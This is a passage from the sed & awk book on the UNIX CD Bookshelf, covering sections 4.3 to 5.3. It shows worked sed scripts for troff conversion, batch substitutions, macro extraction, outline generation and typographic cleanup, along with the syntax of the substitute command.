The muscle of this shell script (line 9) is essentially the same as testsed. The additional lines are intended to test for unsuccessful runs - for instance, when no output is produced. It compares the two files to see if changes were actually made or to see if an empty output file was produced before overwriting the original.

However, runsed does not protect you from imperfect editing scripts. You should use testsed first to verify your changes before actually making them permanent with runsed.

Previous: 4.2 A Global Perspective on Addressing | sed & awk | Next: 4.4 Four Types of sed Scripts
4.2 A Global Perspective on Addressing | Book Index | 4.4 Four Types of sed Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.4 Four Types of sed Scripts

sed & awk

sed & awkSearch this book
Previous: 4.3 Testing and Saving Output Chapter 4
Writing sed Scripts 		Next: 4.5 Getting to the PromiSed Land

4.4 Four Types of sed Scripts

In this section, we are going to look at four types of scripts, each one illustrating a typical sed application.

4.4.1 Multiple Edits to the Same File

The first type of sed script demonstrates making a series of edits in a file. The example we use is a script that converts a file created by a word processing program into a file coded for troff.

One of the authors once did a writing project for a computer company, here referred to as BigOne Computer. The document had to include a product bulletin for "Horsefeathers Software." The company promised that the product bulletin was online and that they would send it. Unfortunately, when the file arrived, it contained the formatted output for a line printer, the only way they could provide it. A portion of that file (saved for testing in a file named horsefeathers) follows.

                  HORSEFEATHERS SOFTWARE PRODUCT BULLETIN

  DESCRIPTION
+   ___________

  BigOne Computer  offers three  software packages from the  suite
  of Horsefeathers  software products  --  Horsefeathers  Business
  BASIC, BASIC  Librarian,  and LIDO.  These software products can
  fill  your    requirements    for    powerful,    sophisticated,
  general-purpose business  software providing you with a base for
  software customization or development.

  Horsefeathers  BASIC is  BASIC optimized for use on  the  BigOne
  machine with UNIX  or MS-DOS operating systems.  BASIC Librarian
  is a full screen program editor, which also provides the ability

Note that the text has been justified with spaces added between words. There are also spaces added to create a left margin.

We find that when we begin to tackle a problem using sed, we do best if we make a mental list of all the things we want to do. When we begin coding, we write a script containing a single command that does one thing. We test that it works, then we add another command, repeating this cycle until we've done all that's obvious to do. ("All that's obvious" because the list is not always complete, and the cycle of implement-and-test often adds other items to the list.)

It may seem to be a rather tedious process to work this way and indeed there are a number of scripts where it's fine to take a crack at writing the whole script in one pass and then begin testing it. However, the one-step-at-a-time technique is highly recommended for beginners because you isolate each command and get to easily see what is working and what is not. When you try to do several commands at once, you might find that when problems arise you end up recreating the recommended process in reverse; that is, removing commands one by one until you locate the problem.

Here is a list of the obvious edits that need to be made to the Horsefeathers Software bulletin:

  1. Replace all blank lines with a paragraph macro (.LP).

  2. Remove all leading spaces from each line.

  3. Remove the printer underscore line, the one that begins with a "+".

  4. Remove multiple blank spaces that were added between words.

The first edit requires that we match blank lines. However, in looking at the input file, it wasn't obvious whether the blank lines had leading spaces or not. As it turns out, they do not, so blank lines can be matched using the pattern "^$". (If there were spaces on the line, the pattern could be written "^ [image] *$".) Thus, the first edit is fairly straightforward to accomplish:

s/^$/.LP/

It replaces each blank line with ".LP". Note that you do not escape the literal period in the replacement section of the substitute command. We can put this command in a file named sedscr and test the command as follows:

$ sed -f sedscr horsefeathers
                  HORSEFEATHERS SOFTWARE PRODUCT BULLETIN
.LP
  DESCRIPTION
+   ___________
.LP
  BigOne Computer  offers three  software packages from the  suite
  of Horsefeathers  software products  --  Horsefeathers  Business
  BASIC, BASIC  Librarian,  and LIDO.  These software products can
  fill  your    requirements    for    powerful,    sophisticated,
  general-purpose business  software providing you with a base for
  software customization or development.
.LP
  Horsefeathers  BASIC is  BASIC optimized for use on  the  BigOne
  machine with UNIX  or MS-DOS operating systems.  BASIC Librarian
  is a full screen program editor, which also provides the ability

It is pretty obvious which lines have changed. (It is frequently helpful to cut out a portion of a file to use for testing. It works best if the portion is small enough to fit on the screen yet is large enough to include different examples of what you want to change. After all edits have been applied successfully to the test file, a second level of testing occurs when you apply them to the complete, original file.)

The next edit that we make is to remove the line that begins with a "+" and contains a line-printer underscore. We can simply delete this line using the delete command, d. In writing a pattern to match this line, we have a number of choices. Each of the following would match that line:

/^+/
/^+   /
/^+      */
/^+      *__*/

As you can see, each successive regular expression matches a greater number of characters. Only through testing can you determine how complex the expression needs to be to match a specific line and not others. The longer the pattern that you define in a regular expression, the more comfort you have in knowing that it won't produce unwanted matches. For this script, we'll choose the third expression:

/^+      */d

This command will delete any line that begins with a plus sign and is followed by at least one space. The pattern specifies two spaces, but the second is modified by "*", which means that the second space might or might not be there.

This command was added to the sed script and tested but since it only affects one line, we'll omit showing the results and move on. The next edit needs to remove the spaces that pad the beginning of a line. The pattern for matching that sequence is very similar to the address for the previous command.

s/^      *//

This command removes any sequence of spaces found at the beginning of a line. The replacement portion of the substitute command is empty, meaning that the matched string is removed.

We can add this command to the script and test it.

$ sed -f sedscr horsefeathers
HORSEFEATHERS SOFTWARE PRODUCT BULLETIN
.LP
DESCRIPTION
.LP
BigOne Computer  offers three  software packages from the  suite
of Horsefeathers  software products  --  Horsefeathers  Business
BASIC, BASIC  Librarian,  and LIDO.  These software products can
fill  your    requirements    for    powerful,    sophisticated,
general-purpose business  software providing you with a base for
software customization or development.
.LP
Horsefeathers  BASIC is  BASIC optimized for use on  the  BigOne
machine with UNIX  or MS-DOS operating systems.  BASIC Librarian
is a full screen program editor, which also provides the ability

The next edit attempts to deal with the extra spaces added to justify each line. We can write a substitute command to match any string of consecutive spaces and replace it with a single space.

s/      */   /g

We add the global flag at the end of the command so that all occurrences, not just the first, are replaced. Note that, like previous regular expressions, we are not specifying how many spaces are there, just that one or more be found. There might be two, three, or four consecutive spaces. No matter how many, we want to reduce them to one.[3]

[3] This command will also match just a single space. But since the replacement is also a single space, such a case is effectively a "no-op."

Let's test the new script:

$ sed -f sedscr horsefeathers
HORSEFEATHERS SOFTWARE PRODUCT BULLETIN
.LP
DESCRIPTION
.LP
BigOne Computer offers three software packages from the suite
of Horsefeathers software products -- Horsefeathers Business
BASIC, BASIC Librarian, and LIDO. These software products can
fill your requirements for powerful, sophisticated,
general-purpose business software providing you with a base for
software customization or development.
.LP
Horsefeathers BASIC is BASIC optimized for use on the BigOne
machine with UNIX or MS-DOS operating systems. BASIC Librarian
is a full screen program editor, which also provides the ability

It works as advertised, reducing two or more spaces to one. On closer inspection, though, you might notice that the script removes a sequence of two spaces following a period, a place where they might belong.

We could perfect our substitute command such that it does not make the replacement for spaces following a period. The problem is that there are cases when three spaces follow a period and we'd like to reduce that to two. The best way seems to be to write a separate command that deals with the special case of a period followed by spaces.

s/\.      */.      /g

This command replaces a period followed by any number of spaces with a period followed by two spaces. It should be noted that the previous command reduces multiple spaces to one, so that only one space will be found following a period.[4] Nonetheless, this pattern works regardless of how many spaces follow the period, as long as there is at least one. (It would not, for instance, affect a filename of the form test.ext if it appeared in the document.) This command is placed at the end of the script and tested:

[4] The command could therefore be simplified to:

s/\.   /.      /g

$ sed -f sedscr horsefeathers
HORSEFEATHERS SOFTWARE PRODUCT BULLETIN
.LP
DESCRIPTION
.LP
BigOne Computer offers three software packages from the suite
of Horsefeathers software products -- Horsefeathers Business
BASIC, BASIC Librarian, and LIDO.  These software products can
fill your requirements for powerful, sophisticated,
general-purpose business software providing you with a base for
software customization or development.
.LP
Horsefeathers BASIC is BASIC optimized for use on the BigOne
machine with UNIX or MS-DOS operating systems.  BASIC Librarian
is a full screen program editor, which also provides the ability

It works. Here's the completed script:

s/^$/.LP/
/^+      */d
s/^      *//
s/      */   /g
s/\.      */.      /g

As we said earlier, the next stage would be to test the script on the complete file (hf.product.bulletin), using testsed, and examine the results thoroughly. When we are satisfied with the results, we can use runsed to make the changes permanent:

$ runsed hf.product.bulletin
done

By executing runsed, we have overwritten the original file.

Before leaving this script, it is instructive to point out that although the script was written to process a specific file, each of the commands in the script is one that you might expect to use again, even if you don't use the entire script again. In other words, you may well write other scripts that delete blank lines or check for two spaces following a period. Recognizing how commands can be reused in other situations reduces the time it takes to develop and test new scripts. It's like a singer learning a song and adding it to his or her repetoire.

4.4.2 Making Changes Across a Set of Files

The most common use of sed is in making a set of search-and-replacement edits across a set of files. Many times these scripts aren't very unusual or interesting, just a list of substitute commands that change one word or phrase to another. Of course, such scripts don't need to be interesting as long as they are useful and save doing the work manually.

The example we look at in this section is a conversion script, designed to modify various "machine-specific" terms in a UNIX documentation set. One person went through the documentation set and made a list of things that needed to be changed. Another person worked from the list to create the following list of substitutions.

s/ON switch/START switch/g
s/ON button/START switch/g
s/STANDBY switch/STOP switch/g
s/STANDBY button/STOP switch/g
s/STANDBY/STOP/g
s/[cC]abinet [Ll]ight/control panel light/g
s/core system diskettes/core system tape/g
s/TERM=542[05] /TERM=PT200 /g
s/Teletype 542[05]/BigOne PT200/g
s/542[05] terminal/PT200 terminal/g
s/Documentation Road Map/Documentation Directory/g
s/Owner\/Operator Guide/Installation and Operation Guide/g
s/AT&T 3B20 [cC]omputer/BigOne XL Computer/g
s/AT&T 3B2 [cC]omputer/BigOne XL Computer/g
s/3B2 [cC]omputer/BigOne XL Computer/g
s/3B2/BigOne XL Computer/g

The script is straightforward. The beauty is not in the script itself but in sed's ability to apply this script to the hundreds of files comprising the documentation set. Once this script is tested, it can be executed using runsed to process as many files as there are at once.

Such a script can be a tremendous time-saver, but it can also be an opportunity to make big-time mistakes. What sometimes happens is that a person writes the script, tests it on one or two out of the hundreds of files and concludes from that test that the script works fine. While it may not be practical to test each file, it is important that the test files you do choose be both representative and exceptional. Remember that text is extremely variable and you cannot typically trust that what is true for a particular occurrence is true for all occurrences.

Using grep to examine large amounts of input can be very helpful. For instance, if you wanted to determine how "core system diskettes" appears in the documents, you could grep for it everywhere and pore over the listing. To be thorough, you should also grep for "core," "core system," "system diskettes," and "diskettes" to look for occurrences split over multiple lines. (You could also use the phrase script in Chapter 6 to look for occurrences of multiple words over consecutive lines.) Examining the input is the best way to know what your script must do.

In some ways, writing a script is like devising a hypothesis, given a certain set of facts. You try to prove the validity of the hypothesis by increasing the amount of data that you test it against. If you are going to be running a script on multiple files, use testsed to run the script on several dozen files after you've tested it on a smaller sample. Then compare the temporary files to the originals to see if your assumptions were correct. The script might be off slightly and you can revise it. The more time you spend testing, which is actually rather interesting work, the less chance you will spend your time unraveling problems caused by a botched script.

4.4.3 Extracting Contents of a File

One type of sed application is used for extracting relevant material from a file. In this way, sed functions like grep, with the additional advantage that the input can be modified prior to output. This type of script is a good candidate for a shell script.

Here are two examples: extracting a macro definition from a macro package and displaying the outline of a document.

4.4.3.1 Extracting a macro definition

troff macros are defined in a macro package, often a single file that's located in a directory such as /usr/lib/macros. A troff macro definition always begins with the string ".de", followed by an optional space and the one- or two-letter name of the macro. The definition ends with a line beginning with two dots (..). The script we show in this section extracts a particular macro definition from a macro package. (It saves you from having to locate and open the file with an editor and search for the lines that you want to examine.)

The first step in designing this script is to write one that extracts a specific macro, in this case, the BL (Bulleted List) macro in the -mm package.[5]

[5] We happen to know that the -mm macros don't have a space after the ".de" command.

$ sed -n  "/^\.deBL/,/^\.\.$/p" /usr/lib/macros/mmt
.deBL
.if\\n(.$<1 .)L \\n(Pin 0 1n 0 \\*(BU
.if\\n(.$=1 .LB 0\\$1 0 1 0 \\*(BU
.if\\n(.$>1 \{.ie !\w^G\\$1^G .)L \\n(Pin 0 1n 0 \\*(BU 0 1
.el.LB 0\\$1 0 1 0 \\*(BU 0 1 \}
..

Sed is invoked with the -n option to keep it from printing out the entire file. With this option, sed will print only the lines it is explicitly told to print via the print command. The sed script contains two addresses: the first matches the start of the macro definition ".deBL" and the second matches its termination, ".." on a line by itself. Note that dots appear literally in the two patterns and are escaped using the backslash.

The two addresses specify a range of lines for the print command, p. It is this capability that distinguishes this kind of search script from grep, which cannot match a range of lines.

We can take this command line and make it more general by placing it in a shell script. One obvious advantage of creating a shell script is that it saves typing. Another advantage is that a shell script can be designed for more general usage. For instance, we can allow the user to supply information from the command line. In this case, rather than hard-code the name of the macro in the sed script, we can use a command-line argument to supply it. You can refer to each argument on the command line in a shell script by positional notation: the first argument is $1, the second is $2, and so on. Here's the getmac script:

#! /bin/sh
# getmac -- print mm macro definition for $1
sed -n "/^\.de$1/,/^\.\.$/p" /usr/lib/macros/mmt

The first line of the shell script forces interpretation of the script by the Bourne shell, using the "#!" executable interpreter mechanism available on all modern UNIX systems. The second line is a comment that describes the name and purpose of the script. The sed command, on the third line, is identical to the previous example, except that "BL" is replaced by "$1", a variable representing the first command-line argument. Note that the double quotes surrounding the sed script are necessary. Single quotes would not allow interpretation of "$1" by the shell.

This script, getmac, can be executed as follows:

$ getmac BL

where "BL" is the first command-line argument. It produces the same output as the previous example.

This script can be adapted to work with any of several macro packages. The following version of getmac allows the user to specify the name of a macro package as the second command-line argument.

#! /bin/sh
# getmac - read macro definition for $1 from package $2
file=/usr/lib/macros/mmt
mac="$1"
case $2 in
 -ms) file="/work/macros/current/tmac.s";;
 -mm) file="/usr/lib/macros/mmt";;
 -man) file="/usr/lib/macros/an";;
esac
sed -n "/^\.de *$mac/,/^\.\.$/p" $file

What is new here is a case statement that tests the value of $2 and then assigns a value to the variable file. Notice that we assign a default value to file so if the user does not designate a macro package, the -mm macro package is searched. Also, for clarity and readability, the value of $1 is assigned to the variable mac.

In creating this script, we discovered a difference among macro packages in the first line of the macro definition. The -ms macros include a space between ".de" and the name of the macro, while -mm and -man do not. Fortunately, we are able to modify the pattern to accommodate both cases.

/^\.de *$mac/

Following ".de", we specify a space followed by an asterisk, which means the space is optional.

The script prints the result on standard output, but it can easily be redirected into a file, where it can become the basis for the redefinition of a macro.

4.4.3.2 Generating an outline

Our next example not only extracts information; it modifies it to make it easier to read. We create a shell script named do.outline that uses sed to give an outline view of a document. It processes lines containing coded section headings, such as the following:

.Ah "Shell Programming"

The macro package we use has a chapter heading macro named "Se" and hierarchical headings named "Ah", "Bh", and "Ch". In the -mm macro package, these macros might be "H", "H1", "H2", "H3", etc. You can adapt the script to whatever macros or tags identify the structure of a document. The purpose of the do.outline script is to make the structure more apparent by printing the headings in an indented outline format.

The result of do.outline is shown below:

$ do.outline ch13/sect1
CHAPTER  13 Let the Computer Do the Dirty Work
     A.  Shell Programming
          B.  Stored Commands
          B.  Passing Arguments to Shell Scripts
          B.  Conditional Execution
          B.  Discarding Used Arguments
          B.  Repetitive Execution
          B.  Setting Default Values
          B.  What We've Accomplished

It prints the result to standard output (without, of course, making any changes within the files themselves).

Let's look at how to put together this script. The script needs to match lines that begin with the macros for:

  • Chapter title (.Se)

  • Section heading (.Ah)

  • Subsection heading (.Bh)

We need to make substitutions on those lines, replacing macros with a text marker (A, B, for instance) and adding the appropriate amount of spacing (using tabs) to indent each heading. (Remember, the " · " denotes a tab character.)

Here's the basic script:

sed -n '
s/^\.Se /CHAPTER /p
s/^\.Ah /  · A. /p
s/^\.Bh /  ·   · B.  /p' $*

do.outline operates on all files specified on the command line ("$*"). The -n option suppresses the default output of the program. The sed script contains three substitute commands that replace the codes with the letters and indent each line. Each substitute command is modified by the p flag that indicates the line should be printed.

When we test this script, the following results are produced:

CHAPTER  "13" "Let the Computer Do the Dirty Work"
     A.  "Shell Programming"
          B.  "Stored Commands"
          B.  "Passing Arguments to Shell Scripts"

The quotation marks that surround the arguments to a macro are passed through. We can write a substitute command to remove the quotation marks.

s/"//g

It is necessary to specify the global flag, g, to catch all occurrences on a single line. However, the key decision is where to put this command in the script. If we put it at the end of the script, it will remove the quotation marks after the line has already been output. We have to put it at the top of the script and perform this edit for all lines, regardless of whether or not they are output later in the script.

sed -n '
s/"//g
s/^\.Se /CHAPTER /p
s/^\.Ah /  · A. /p
s/^\.Bh /  ·   · B.  /p' $*

This script now produces the results that were shown earlier.

You can modify this script to search for almost any kind of coded format. For instance, here's a rough version for a LaTeX file:

sed -n '
s/[{}]//g
s/\\section/  · A. /p
s/\\subsection/  ·   · B.  /p' $*

4.4.4 Edits To Go

Let's consider an application that shows sed in its role as a true stream editor, making edits in a pipeline - edits that are never written back into a file.

On a typewriter-like device (including a CRT), an em-dash is typed as a pair of hyphens (--). In typesetting, it is printed as a single, long dash ( - ). troff provides a special character name for the em-dash, but it is inconvenient to type "\(em".

The following command changes two consecutive dashes into an em-dash.

s/--/\\(em/g

We double the backslashes in the replacement string for \(em, since the backslash has a special meaning to sed.

Perhaps there are cases in which we don't want this substitute command to be applied. What if someone is using hyphens to draw a horizontal line? We can refine this command to exclude lines containing three or more consecutive hyphens. To do this, we use the ! address modifier:

/---/!s/--/\\(em/g

It may take a moment to penetrate this syntax. What's different is that we use a pattern address to restrict the lines that are affected by the substitute command, and we use ! to reverse the sense of the pattern match. It says, simply, "If you find a line containing three consecutive hyphens, don't apply the edit." On all other lines, the substitute command will be applied.

We can use this command in a script that automatically inserts em-dashes for us. To do that, we will use sed as a preprocessor for a troff file. The file will be processed by sed and then piped to troff.

sed '/---/!s/--/\\(em/g' file | troff

In other words, sed changes the input file and passes the output directly to troff, without creating an intermediate file. The edits are made on-the-go, and do not affect the input file. You might wonder why not just make the changes permanently in the original file? One reason is simply that it's not necessary - the input remains consistent with what the user typed but troff still produces what looks best for typeset-quality output. Furthermore, because it is embedded in a larger shell script, the transformation of hyphens to em-dashes is invisible to the user, and not an additional step in the formatting process.

We use a shell script named format that uses sed for this purpose. Here's what the shell script looks like:

#! /bin/sh
eqn=  pic=  col=
files=  options=  roff="ditroff -Tps"
sed="| sed '/---/!s/--/\\(em/g'"
while [ $# -gt 0 ]
do
   case $1 in
     -E) eqn="| eqn";;
     -P) pic="| pic";;
     -N) roff="nroff"  col="| col"  sed= ;;
     -*) options="$options $1";;
      *) if [ -f $1 ]
         then files="$files $1"
         else echo "format: $1: file not found"; exit 1
         fi;;
   esac
   shift
done
eval "cat $files $sed | tbl $eqn $pic | $roff $options $col | lp"

This script assigns and evaluates a number of variables (prefixed by a dollar sign) that construct the command line that is submitted to format and print a document. (Notice that we've set up the -N option for nroff so that it sets the sed variable to the empty string, since we only want to make this change if we are using troff. Even though nroff understands the \(em special character, making this change would have no actual effect on the output.)

Changing hyphens to em-dashes is not the only "prettying up" edit we might want to make when typesetting a document. For example, most keyboards do not allow you to type open and close quotation marks (" and " as opposed to "and"). In troff, you can indicate a open quotation mark by typing two consecutive grave accents, or "backquotes" (``), and a close quotation mark by typing two consecutive single quotes (''). We can use sed to change each doublequote character to a pair of single open-quotes or close-quotes (depending on context), which, when typeset, will produce the appearance of a proper "double quote."

This is a considerably more difficult edit to make, since there are many separate cases involving punctuation marks, space, and tabs. Our script might look like this:

s/^"/``/
s/"$/''/
s/"?   /''?   /g
s/"?$/''?/g
s/   "/   ``/g
s/"   /''   /g
s/  · "/  · ``/g
s/"  · /''  · /g
s/")/'')/g
s/"]/'']/g
s/("/(``/g
s/\["/\[``/g
s/";/'';/g
s/":/'':/g
s/,"/,''/g
s/",/'',/g
s/\."/.\\\&''/g
s/"\./''.\\\&/g
s/\\(em\\^"/\\(em``/g
s/"\\(em/''\\(em/g
s/\\(em"/\\(em``/g
s/@DQ@/"/g

The first substitute command looks for a quotation mark at the beginning of a line and changes it to an open-quote. The second command looks for a quotation mark at the end of a line and changes it to a close-quote. The remaining commands look for the quotation mark in different contexts, before or after a punctuation mark, a space, a tab, or an em-dash. The last command allows us to get a real doublequote (@DQ@) into the troff input if we need it. We put these commands in a "cleanup" script, along with the command changing hyphens to dashes, and invoke it in the pipeline that formats and prints documents using troff.

Previous: 4.3 Testing and Saving Output | sed & awk | Next: 4.5 Getting to the PromiSed Land
4.3 Testing and Saving Output | Book Index | 4.5 Getting to the PromiSed Land
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.5 Getting to the PromiSed Land

sed & awk

sed & awkSearch this book
Previous: 4.4 Four Types of sed Scripts Chapter 4
Writing sed Scripts 		Next: 5. Basic sed Commands

4.5 Getting to the PromiSed Land

You have now seen four different types of sed scripts, as well as how they are embedded inside shell scripts to create easy-to-use applications. More and more, as you work with sed, you will develop methods for creating and testing sed scripts. You will come to rely upon these methods and gain confidence that you know what your script is doing and why.

Here are a few tips:

  1. Know Thy Input! Carefully examine your input file, using grep, before designing your script.

  2. Sample Before Buying. Start with a small sample of occurrences in a test file. Run your script on the sample and make sure the script is working. Remember, it's just as important to make sure the script doesn't work where you don't want it to. Then increase the size of the sample. Try to increase the complexity of the input.

  3. Think Before Doing. Work carefully, testing each command that you add to a script. Compare the output against the input file to see what has changed. Prove to yourself that your script is complete. Your script may work perfectly, based on your assumptions of what is in the input file, but your assumptions may be wrong.

  4. Be Pragmatic! Try to accomplish what you can with your sed script, but it doesn't have to do 100 percent of the job. If you encounter difficult situations, check and see how frequently they occur. Sometimes it's better to do a few remaining edits manually.

As you gain experience, add your own "scripting tips" to this list. You will also find that these tips apply equally well when working with awk.

Previous: 4.4 Four Types of sed Scripts | sed & awk | Next: 5. Basic sed Commands
4.4 Four Types of sed Scripts | Book Index | 5. Basic sed Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] Basic sed Commands

sed & awk

sed & awkSearch this book
Previous: 4.5 Getting to the PromiSed Land Chapter 5 Next: 5.2 Comment

5. Basic sed Commands

Contents:
About the Syntax of sed Commands
Comment
Substitution
Delete
Append, Insert, and Change
List
Transform
Print
Print Line Number
Next
Reading and Writing Files
Quit

The sed command set consists of 25 commands. In this chapter, we introduce four new editing commands: d (delete), a (append), i (insert), and c (change). We also look at ways to change the flow control (i.e., determine which command is executed next) within a script.

5.1 About the Syntax of sed Commands

Before looking at individual commands, there are a couple of points to review about the syntax of all sed commands. We covered most of this material in the previous chapter.

A line address is optional with any command. It can be a pattern described as a regular expression surrounded by slashes, a line number, or a line-addressing symbol. Most sed commands can accept two comma-separated addresses that indicate a range of lines. For these commands, our convention is to specify:

[address]command

A few commands accept only a single line address. They cannot be applied to a range of lines. The convention for them is:

[line-address]command

Remember also that commands can be grouped at the same address by surrounding the list of commands in braces:

address {
command1
command2
command3
}

The first command can be placed on the same line with the opening brace but the closing brace must appear on its own line. Each command can have its own address and multiple levels of grouping are permitted. Also, as you can see from the indentation of the commands inside the braces, spaces, and tabs at the beginning of lines are permitted.

When sed is unable to understand a command, it prints the message "Command garbled." One subtle syntax error is adding a space after a command. This is not allowed; the end of a command must be at the end of the line.

Proof of this restriction is offered by an "undocumented" feature: multiple sed commands can be placed on the same line if each one is separated by a semicolon.[1] The following example is syntactically correct:

[1] Surprisingly, the use of semicolons to separate commands is not documented in the POSIX standard.

n;d

However, putting a space after the n command causes a syntax error. Putting a space before the d command is okay.

Placing multiple commands on the same line is highly discouraged because sed scripts are difficult enough to read even when each command is written on its own line. (Note that the change, insert, and append commands must be specified over multiple lines and cannot be specified on the same line.)

Previous: 4.5 Getting to the PromiSed Land | sed & awk | Next: 5.2 Comment
4.5 Getting to the PromiSed Land | Book Index | 5.2 Comment
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.2 Comment

sed & awk

sed & awkSearch this book
Previous: 5.1 About the Syntax of sed Commands Chapter 5
Basic sed Commands 		Next: 5.3 Substitution

5.2 Comment

You can use a comment to document a script by describing its purpose. Starting in this chapter, our full script examples begin with a comment line. A comment line can appear as the first line of a script. In System V's version of sed, a comment is permitted only on the first line. In some versions, including sed running under SunOS 4.1.x and with GNU sed, you can place comments anywhere in the script, even on a line following a command. The examples in this book will follow the more restrictive case of System V sed, limiting comments to the first line of the script. However, the ability to use comments to document your script is valuable and you should make use of it if your version of sed permits it.

An octothorpe (#) must be the first character on the line. The syntax of a comment line is:

#[n]

The following example shows the first line of a script:

# wstar.sed: convert WordStar files

If necessary, the comment can be continued on multiple lines by ending the preceding line with a backslash.[2] For consistency, you might begin the continuation line with an # so that the line's purpose is obvious.

[2] This does not work with GNU sed (version 2.05), though.

If the next character following # is n, the script will not automatically produce output. It is equivalent to specifying the command-line option -n. The rest of the line following the n is treated as a comment. Under the POSIX standard, #n used this way must be the first two characters in the file.

Previous: 5.1 About the Syntax of sed Commands | sed & awk | Next: 5.3 Substitution
5.1 About the Syntax of sed Commands | Book Index | 5.3 Substitution
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.3 Substitution

sed & awk

sed & awkSearch this book
Previous: 5.2 Comment Chapter 5
Basic sed Commands 		Next: 5.4 Delete

5.3 Substitution

We have already demonstrated many uses of the substitute command. Let's look carefully at its syntax:

[address]s/pattern/replacement/flags

where the flags that modify the substitution are:

n

A number (1 to 512) indicating that a replacement should be made for only the nth occurrence of the pattern.

g

Make changes globally on all occurrences in the pattern space. Normally only the first occurrence is replaced.

p

Print the contents of the pattern space.

w file

Write the contents of the pattern space to file.

The substitute command is applied to the lines matching the address. If no address is specified, it is applied to all lines that match the pattern, a regular expression. If a regular expression is supplied as an address, and no pattern is specified, the substitute command matches what is matched by the address. This can be useful when the substitute command is one of multiple commands applied at the same address. For an example, see the section "Checking Out Reference Pages" later in this chapter.

Unlike addresses, which require a slash (/) as a delimiter, the regular expression can be delimited by any character except a newline. Thus, if the pattern contained slashes, you could choose another character, such as an exclamation mark, as the delimiter.

s!/usr/mail!/usr2/mail!

Note that the delimiter appears three times and is required after the replacement. Regardless of which delimiter you use, if it does appear in the regular expression, or in the replacement text, use a backslash (\) to escape it.

Once upon a time, computers stored text in fixed-length records. A line ended after so many characters (typically 80), and then the next line started. There was no explicit character in the data to mark the end of one line and the beginning of the next; every line had the same (fixed) number of characters. Modern systems are more flexible; they use a special character (referred to as newline) to mark the end of the line. This allows lines to be of arbitrary[3] length.

[3] Well, more or less. Many UNIX programs have internal limits on the length of the lines that they will process. Most GNU programs, though, do not have such limits.

Since newline is just another character when stored internally, a regular expression can use "\n" to match an embedded newline. This occurs, as you will see in the next chapter, in the special case when another line is appended to the current line in the pattern space. (See Chapter 2, Understanding Basic Operations, for a discussion of line addressing and Chapter 3, Understanding Regular Expression Syntax, for a discussion of regular expression syntax.)

The replacement is a string of characters that will replace what is matched by the regular expression. (See the section "The Extent of the Match" in Chapter 3.) In the replacement section, only the following characters have special meaning:

&

Replaced by the string matched by the regular expression.

\n

Matches the nth substring (n is a single digit) previously specified in the pattern using "\(" and "\)".

\

Used to escape the ampersand (&), the backslash (\), and the substitution command's delimiter when they are used literally in the replacement section. In addition, it can be used to escape the newline and create a multiline replacement string.

Thus, besides metacharacters in regular expressions, sed also has metacharacters in the replacement. See the next section, "Replacement Metacharacters," for examples of using them.

Flags can be used in combination where it makes sense. For instance, gp makes the substitution globally on the line and prints the line. The global flag is by far the most commonly used. Without it, the replacement is made only for the first occurrence on the line. The print flag and the write flag both provide the same functionality as the print and write commands (which are discussed later in this chapter) with one important difference. These actions are contingent upon a successful substitution occurring. In other words, if the replacement is made, the line is printed or written to file. Because the default action is to pass through all lines, regardless of whether any action is taken, the print and write flags are typically used when the default output is suppressed (the -n option). In addition, if a script contains multiple substitute commands that match the same line, multiple copies of that line will be printed or written to file.

The numeric flag can be used in the rare instances where the regular expression repeats itself on a line and the replacement must be made for only one of those occurrences by position. For instance, a line, perhaps containing tbl input, might contain multiple tabs. Let's say that there are three tabs per line, and you'd like to replace the second tab with ">". The following substitute command would do it:

s/  · />/2

" · " represents an actual tab character, which is otherwise invisible on the screen. If the input is a one-line file such as the following:

Column1  · Column2  · Column3  · Column4

the output produced by running the script on this file will be:

Column1  · Column2>Column3  · Column4

Note that without the numeric flag, the substitute command would replace only the first tab. (Therefore "1" can be considered the default numeric flag.)

5.3.1 Replacement Metacharacters

The replacement metacharacters are backslash (\), ampersand (&), and \n. The backslash is generally used to escape the other metacharacters but it is also used to include a newline in a replacement string.

We can do a variation on the previous example to replace the second tab on each line with a newline.

s/  · /\
/2

Note that no spaces are permitted after the backslash. This script produces the following result:

Column1  · Column2
Column3  · Column4

Another example comes from the conversion of a file for troff to an ASCII input format for Ventura Publisher. It converts the following line for troff:

.Ah "Major Heading"

to a similar line for Ventura Publisher:

@A HEAD = Major Heading

The twist in this problem is that the line needs to be preceded and followed by blank lines. It is an example of writing a multiline replacement string.

/^\.Ah/{
s/\.Ah */\
\
@A HEAD = /
s/"//g
s/$/\
/
}

The first substitute command replaces ".Ah" with two newlines and "@A HEAD =". A backslash at the end of the line is necessary to escape the newline. The second substitution removes the quotation marks. The last command matches the end of line in the pattern space (not the embedded newlines) and adds a newline after it.

In the next example, the backslash is used to escape the ampersand, which appears literally in the replacement section.

s/ORA/O'Reilly \& Associates, Inc./g

It's easy to forget about the ampersand appearing literally in the replacement string. If we had not escaped it in this example, the output would have been "O'Reilly ORA Associates, Inc."

As a metacharacter, the ampersand (&) represents the extent of the pattern match, not the line that was matched. You might use the ampersand to match a word and surround it by troff requests. The following example surrounds a word with point-size requests:

s/UNIX/\\s-2&\\s0/g

Because backslashes are also replacement metacharacters, two backslashes are necessary to output a single backslash. The "&" in the replacement string refers to "UNIX." If the input line is:

on the UNIX Operating System.

then the substitute command produces:

on the \s-2UNIX\s0 Operating System.

The ampersand is particularly useful when the regular expression matches variations of a word. It allows you to specify a variable replacement string that corresponds to what was actually matched. For instance, let's say that you wanted to surround with parentheses any cross reference to a numbered section in a document. In other words, any reference such as "See Section 1.4" or "See Section 12.9" should appear in parentheses, as "(See Section 12.9)." A regular expression can match the different combination of numbers, so we use "&" in the replacement string and surround whatever was matched.

s/See Section [1-9][0-9]*\.[1-9][0-9]*/(&)/

